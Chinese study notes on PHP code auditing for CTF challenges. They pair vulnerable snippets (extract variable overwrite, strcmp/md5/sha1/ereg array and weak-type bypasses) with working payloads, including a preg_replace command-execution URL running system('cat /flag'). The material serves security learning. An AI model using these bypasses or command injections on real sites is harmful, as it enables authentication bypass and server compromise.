目录

使用说明

主要是用来查询,ctrl+f 或从目录查找相关信息,不建议从头读到尾

题目主要是bugku上的代码审计,除了数字正则绕过以外都总结在了这里

部分知识点未更新完

工具

Seay代码审计

Notepad++

变量覆盖

1x01.extract 变量覆盖

定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法

extract(array,extract_rules,prefix)



漏洞产生:使用了默认设置

攻击方法:制造变量名冲突,对于需要相等的值可以同时置空

修复:设定一个冲突时的处理规则

例题:

bugku extract 变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) { echo'flag{xxx}'; }
else { echo'Oh.no'; } }?>

payload:?shiyan=&content=

1x02 $$导致的变量覆盖问题

1x03 全局变量覆盖

1x04 parse_str()变量覆盖

1x05 import_request_variables()变量覆盖

弱类型

2x00 strcmp

定义和用法

strcmp() 函数比较两个字符串。

注释

strcmp() 函数是二进制安全的,且对大小写敏感。

提示

该函数与 strncmp() 函数类似,不同的是,通过 strncmp() 您可以指定每个字符串用于比较的字符数

语法

strcmp(string1,string2)

返回值:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

漏洞

在5.3之前的php中,当两个带比较的字符串中存在类型错误时,显示了报错的警告信息后,返回0

例题

bugku strcmp比较字符串

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

payload:?a[]=

2x01 md5

定义和用法

md5() 函数计算字符串的 MD5 散列。

md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。

来自 RFC 1321 的解释 - MD5 报文摘要算法:MD5 报文摘要算法将任意长度的信息作为输入值,并将其换算成一个 128 位长度的"指纹信息"或"报文摘要"值来代表这个输入值,并以换算后的值作为结果。MD5 算法主要是为数字签名应用程序而设计的;在这个数字签名应用程序中,较大的文件将在加密(这里的加密过程是通过在一个密码系统下[如:RSA]的公开密钥下设置私有密钥而完成的)之前以一种安全的方式进行压缩。

如需计算文件的 MD5 散列,请使用 md5_file() 函数。

语法

md5(string,raw)

返回值:

如果成功则返回已计算的 MD5 散列,如果失败则返回 FALSE

漏洞

1.md5不能处理数组,返回值为null,比较两个字符串得md5值得时候不能传入数组类型。版本:未知

2.生日攻击:http://www.ruanyifeng.com/blog/2018/09/hash-collision-and-birthday-attack.html

当验证的是某字符串md5后的前六位,可以在1-10000中找到一个数满足md5值的前六位与之相同。需要自己写python脚本

3.取md5值后以0e开头的字符串:https://www.cnblogs.com/yunqian2017/p/13346660.html

例题

bugku md5()函数

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag);
else print 'Invalid password';}
?>

payload:?username[]=1&password[]=2

例题2

[MRCTF2020]Ez_bypass

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else {
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{ die('Please input first'); } }

payload:

get:?gg[]=[]&id[]=[%221%22%20=%3E%20%222%22]

post:passwd=1234567a

2x02 sha1()

定义和用法

sha1() 函数计算字符串的 SHA-1 散列。

sha1() 函数使用美国 Secure Hash 算法 1。

来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。

语法

sha1(string,raw)

漏洞

不能处理数组,会返回null

例题

bugku sha()函数比较绕过

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo ' Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo ' Invalid password.
';
}
else
echo ' Login first!
';
?>

payload:?name[]=1&password[]=2

2x03 ereg()

定义和用法

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

语法

ereg ( string $pattern , string $string [, array &$regs ] ) : int

返回:

如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。

漏洞

  1. 不能处理数组
  2. 遇到%00时默认字符串已结束

例题

bugku 数组返回NULL绕过

<?php
$flag = "flag"; if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

payload:?password[]=

payload:?password=abc%00--

例题2

bugku ereg正则%00截断

<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo ' You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo(' - have not been found
');
}
}
else
{
echo ' Invalid password
';
}
}
?>

payload:?password=9e9%00*-*

例题3

bugku strpos数组绕过

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

payload:?ctf=123%00%23biubiubiu

2x04 strpos()

定义和用法

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

注释:strpos() 函数对大小写敏感。

注释:该函数是二进制安全的。

语法

strpos(string,find,start)

返回:

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:字符串位置从 0 开始,不是从 1 开始。

漏洞

不能处理数组

例题

bugku 数组返回NULL绕过

同上

2x06 == 自动类型转换

说明

当两边类型不相同时,会自动转换为相同类型。其中字符串与数字的比较,字符串转换成数字。转换规则为,从第一位开始是数字就转为数字,不是数字就为0



漏洞

1.会自动截断

2.当两边都是0e开头的字符串时,会视为数字进行自动转换,配合md5就会绕过

例题

bugku 弱类型整数大小比较绕过

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

payload:?password=1337a

例题2

bugku md5加密相等绕过

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

分析:md5(QNKCDZO)是以0e开头的

payload:?a=240610708

例题3

bugku 十六进制与数字比较

<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

payload:?password=0xdeadc0de

说明:把3735929054转换到16进制

反序列化

魔术方法

例题:

[0CTF 2016]piapiapia 本题wp

[网鼎杯 2018]Fakebook 本题wp不知道大佬怎么一眼看出来反序列化的

反序列化逃逸

[安洵杯 2019]easy_serialize_php 本题wp

反序列化逃逸

[WUSTCTF2020]朴实无华 本题wp

[ZJCTF 2019]NiZhuanSiWei 本题wp

preg_replace命令执行漏洞

[BJDCTF2020]ZJCTF,不过如此

本题wp

相关研究

payload:http://152f4e83-8272-4a30-a835-50be318d8f87.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

不完整的序列化使析构函数提前执行

[网鼎杯 2020 青龙组]AreUSerialz 本题wp 本题wp2

phar反序列化

什么是phar

PHP开发常识:什么是Phar?

例题

[SWPUCTF 2018]SimplePHP | [UNSOLVED]

参考:https://xz.aliyun.com/t/6699

php代码审计整理的更多相关文章

  1. php代码审计一些笔记

    之前学习了seay法师的代码审计与及80sec的高级审计,整理了一些笔记在印象里面,也发到这里作为记录 1,漏洞挖掘与防范(基础篇) sql注入漏洞            挖掘经验:注意点:登录页面, ...

  2. 如何通过代码审计挖掘REDos漏洞

    写这篇文章的目的一是由于目前网上关于java代码审计的资料实在是太少了,本人作为一个java代码审计的新手,深知学习java代码审计的难受之处,所以将自己学习过程中挖掘的一些漏洞写成博客发出来希望可以 ...

  3. sql注入总结(二)--2018自我整理

    0x00前言: 继上篇的内容,这章总结下二次注入,python脚本,bypass 上篇sql注入总结(一)--2018自我整理 0x01二次注入: 二次注入的原理是在把非法代码添加进数据库里面存储了, ...

  4. java代码审计文章集合

    0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境   配置IDEA编辑器开发java web,从0创建项目   IDEA动态调试   ...

  5. [代码审计]云ec电商系统代码审计

    0x00 前言 看了一下博客内最新的文章,竟然是3月28号的,一个多月没写文章了,博客都长草了. 主要是临近毕业,事情繁多,也没有啥时间和心情静下来写.. 不过现在的话,毕业的东西告一段落了,几乎没啥 ...

  6. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  7. 代码审计之create_function()函数

    0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: create_f ...

  8. PHP代码审计基础-初级篇

    对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉.对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语 ...

  9. 这几天加班熬夜把所有Python库整理了一遍,非常全面!

    库名称简介 Chardet 字符编码探测器,可以自动检测文本.网页.xml的编码.colorama 主要用来给文本添加各种颜色,并且非常简单易用.Prettytable 主要用于在终端或浏览器端构建格 ...

随机推荐

  1. MathType输入几何符号的技巧

    通过学习几何学的知识,我们发现其中包含的几何符号有很多,比如有表示图形的符号,如三角形,平行四边形,圆,角,圆弧等:还有表示位置关系的符号,如平行,垂直等:还有表示矢量等其他符号,那么MathType ...

  2. css3系列之@font-face

    @font-face 这个属性呢,必须设置在 css的根下,也就是说,不能设置在任何元素里面. @font-face: 参数: font-family:  给这个文字库 起个名字. src: url( ...

  3. 用大白话讲大数据HBase,老刘真的很用心(1)

    老刘今天复习HBase知识发现很多资料都没有把概念说清楚,有很多专业名词一笔带过没有解释.比如这个框架高性能.高可用,那什么是高性能高可用?怎么实现的高性能高可用?没说! 如果面试官听了你说的,会有什 ...

  4. uniapp自定义picker城市多级联动组件

    uniapp自定义picker城市多级联动组件 支持多端--h5.app.微信小程序.支付宝小程序... 支持自定义配置picker插件级数 支持无限级 注意事项:插件传入数据格式为children树 ...

  5. 抓包工具fiddler使用-初级

    参考 https://kb.cnblogs.com/page/130367/#introduce

  6. Docker容器版Jumpserver堡垒机搭建部署方法附Redis

    1.简介 Jumpserver是全球首款完全开源的堡垒机,多云环境下更好用的堡垒机,使用GNU GPL v2.0开源协议,是符合 4A 的专业运维安全审计系统,使用Python / Django 进行 ...

  7. 适合 JS 新手学习的开源项目——在 GitHub 学编程

    作者:HelloGitHub-小鱼干 这里是 HelloGitHub 的<GitHub 上适合新手的开源项目>系列的最后一篇,系列文章: C++ 篇 Python 篇 Go 篇 Java ...

  8. 20191225_关于sql中exists和not exists

    exists n. 存在量词(exist的复数)v. 存在:出现:活着(exist的三单形式) 理所当然 not exists 就是不存在 那么 if  exists 就是表示它引导的子句有结果集返回 ...

  9. 针对五款IPA文件安装工具的深度评测

    IPA是Apple程序应用文件iPhoneApplication的缩写,在日常中我们可以通过把IPA文件直接安装到iPhone手机来使用,故此笔者针对目前几种比较认可的方式做了对比,评测一下到底那款工 ...

  10. 使用PyQt开发图形界面Python应用专栏目录

    ☞ ░ 前往老猿Python博文目录 ░ 本专栏为收费专栏的文章目录,对应的免费专栏为<PyQt入门知识目录>,两个专栏都为基于PyQt的Python图形界面开发基础教程,只是收费专栏中的 ...